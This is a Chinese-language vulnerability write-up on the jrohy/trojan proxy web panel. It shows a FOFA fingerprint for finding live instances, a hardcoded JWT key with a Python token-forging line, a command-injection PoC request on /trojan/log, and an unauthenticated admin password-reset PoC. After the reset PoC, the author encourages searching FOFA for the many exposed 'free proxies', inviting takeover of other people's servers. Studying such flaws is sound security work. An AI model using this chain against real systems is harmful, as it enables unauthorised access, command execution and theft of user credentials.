最近看到大佬提的issue,正好学习下
指纹特征
1
2
3
4
|
/auth/check 路径会返回title值,可以用作指纹特征
{"code":200,"data":{"title":"AAA"},"message":"success"}
fofa 语句 body='href="./static/index.ab2a3fed.css">'
|
环境搭建
我这里图方便用docker搭建了
1
2
3
|
docker run --name trojan-mariadb --restart=always -p 3306:3306 -v /home/mariadb:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=trojan -e MYSQL_ROOT_HOST=% -e MYSQL_DATABASE=trojan -d mariadb:10.2
docker run -it -d --name trojan --net=host --restart=always --privileged jrohy/trojan init
|
拉起后进入容器,这里得提前配置下域名解析,这个需要通过域名访问
1
2
3
4
5
6
7
|
docker exec -it trojan bash
trojan
请选择使用证书方式: 1
请输入申请证书的域名: xxx.xxx.com
配置数据库,密码默认就是上面的 trojan
|
没啥问题,输入域名就能访问了
硬编码jwt密钥
在 web/auth.go
文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
func jwtInit(timeout int) {
authMiddleware, err = jwt.New(&jwt.GinJWTMiddleware{
Realm: "k8s-manager",
Key: []byte("secret key"),
Timeout: time.Minute * time.Duration(timeout),
MaxRefresh: time.Minute * time.Duration(timeout),
IdentityKey: identityKey,
SendCookie: true,
PayloadFunc: func(data interface{}) jwt.MapClaims {
if v, ok := data.(*Login); ok {
return jwt.MapClaims{
identityKey: v.Username,
}
}
return jwt.MapClaims{}
}
......
})
}
|
可以看到硬编码的 jwt 密钥 secret key
有jwt密钥我们就可以伪造任意用户的token,默认管理员用户是admin
先解码看下格式
测试生成admin的token
1
2
|
import jwt
jwt.encode({'exp':1664179347,'id':'admin','orig_iat':1664172147},algorithm='HS256',key='secret key')
|
通过这个token访问 /trojan/user
接口可以得到除admin外所有用户账号密码,以及服务的对应域名
命令注入漏洞
在 util/linux.go
文件的LogChan函数中,存在命令执行函数exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
func LogChan(serviceName, param string, closeChan chan byte) (chan string, error) {
cmd := exec.Command("bash", "-c", fmt.Sprintf("journalctl -f -u %s -o cat %s", serviceName, param))
stdout, _ := cmd.StdoutPipe()
if err := cmd.Start(); err != nil {
fmt.Println("Error:The command is err: ", err.Error())
return nil, err
}
ch := make(chan string, 100)
stdoutScan := bufio.NewScanner(stdout)
go func() {
for stdoutScan.Scan() {
select {
case <-closeChan:
stdout.Close()
return
default:
ch <- stdoutScan.Text()
}
}
}()
return ch, nil
}
|
查看调用
web/web.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
func trojanRouter(router *gin.Engine) {
router.POST("/trojan/start", func(c *gin.Context) {
c.JSON(200, controller.Start())
})
router.POST("/trojan/stop", func(c *gin.Context) {
c.JSON(200, controller.Stop())
})
router.POST("/trojan/restart", func(c *gin.Context) {
c.JSON(200, controller.Restart())
})
router.GET("/trojan/loglevel", func(c *gin.Context) {
c.JSON(200, controller.GetLogLevel())
})
router.GET("/trojan/export", func(c *gin.Context) {
result := controller.ExportCsv(c)
if result != nil {
c.JSON(200, result)
}
})
router.POST("/trojan/import", func(c *gin.Context) {
c.JSON(200, controller.ImportCsv(c))
})
router.POST("/trojan/update", func(c *gin.Context) {
c.JSON(200, controller.Update())
})
router.POST("/trojan/switch", func(c *gin.Context) {
tType := c.DefaultPostForm("type", "trojan")
c.JSON(200, controller.SetTrojanType(tType))
})
router.POST("/trojan/loglevel", func(c *gin.Context) {
slevel := c.DefaultPostForm("level", "1")
level, _ := strconv.Atoi(slevel)
c.JSON(200, controller.SetLogLevel(level))
})
router.POST("/trojan/domain", func(c *gin.Context) {
c.JSON(200, controller.SetDomain(c.PostForm("domain")))
})
router.GET("/trojan/log", func(c *gin.Context) {
controller.Log(c)
})
}
|
其中/trojan/log路径调用controller.Log(c),传递参数c
跟进 Log方法,到 web/controller/trojan.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
// Log 通过ws查看trojan实时日志
func Log(c *gin.Context) {
var (
wsConn *websocket.WsConnection
err error
)
if wsConn, err = websocket.InitWebsocket(c.Writer, c.Request); err != nil {
fmt.Println(err)
return
}
defer wsConn.WsClose()
param := c.DefaultQuery("line", "300")
if param == "-1" {
param = "--no-tail"
} else {
param = "-n " + param
}
result, err := websocket.LogChan("trojan", param, wsConn.CloseChan)
if err != nil {
fmt.Println(err)
wsConn.WsClose()
return
}
for line := range result {
if err := wsConn.WsWrite(ws.TextMessage, []byte(line+"\n")); err != nil {
log.Println("can't send: ", line)
break
}
}
}
|
可以看到param无过滤,直接被传给了LogChan
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
|
GET /trojan/log?line=300`touch%20/tmp/success`&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjQxNzkzNDcsImlkIjoiYWRtaW4iLCJvcmlnX2lhdCI6MTY2NDE3MjE0N30.iuFiunMc5kx8q4_2CZzAnGQPLjpSK0BW_1X6_bRdP04 HTTP/1.1
Host: xxx.xxx.com
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Upgrade: websocket
Origin: http://xxx.xxx.com
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjQxNzkzNDcsImlkIjoiYWRtaW4iLCJvcmlnX2lhdCI6MTY2NDE3MjE0N30.iuFiunMc5kx8q4_2CZzAnGQPLjpSK0BW_1X6_bRdP04
Sec-WebSocket-Key: NUAPtgysa4gd5VMU6znU1g==
|
前台管理员密码重置
在 web/auth.go Auth
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
func updateUser(c *gin.Context) {
responseBody := controller.ResponseBody{Msg: "success"}
defer controller.TimeCost(time.Now(), &responseBody)
username := c.DefaultPostForm("username", "admin")
pass := c.PostForm("password")
err := core.SetValue(fmt.Sprintf("%s_pass", username), pass)
if err != nil {
responseBody.Msg = err.Error()
}
c.JSON(200, responseBody)
}
// Auth 权限router
func Auth(r *gin.Engine, timeout int) *jwt.GinJWTMiddleware {
......
r.POST("/auth/register", updateUser)
......
}
|
没有对注册方法做验证,这个是用于第一次打开应用时修改admin密码的,现在重复调用改接口可直接修改admin密码
poc
1
2
3
4
5
6
7
8
9
10
11
12
|
POST http://xxx.xxx.com/auth/register HTTP/1.1
Host: xxx.xxx.com
Content-Length: 195
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymc8kPkyHhSLWSsTf
Connection: close
------WebKitFormBoundarymc8kPkyHhSLWSsTf
Content-Disposition: form-data; name="password"
f8cdb04495ded47615258f9dc6a3f4707fd2405434fefc3cbf4ef4e6
------WebKitFormBoundarymc8kPkyHhSLWSsTf--
|
直接 admin/123456 就可以登录了
fofa找找,大量的免费机场🥰
绕前端加密
抓下登录包
1
2
3
4
5
6
7
|
POST http://xxx.xxx.com/auth/login HTTP/1.1
Host: xxx.xxx.com
Content-Length: 90
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9Connection: close
{"username":"admin","password":"e25388fde8290dc286a6164fa2d97e551b53498dcbf7bc378eb1f178"}
|
password字段被加密了,去前端找下
不出意外,控制台可调
1
|
CryptoJS.SHA224("1").toString();
|
Source & Reference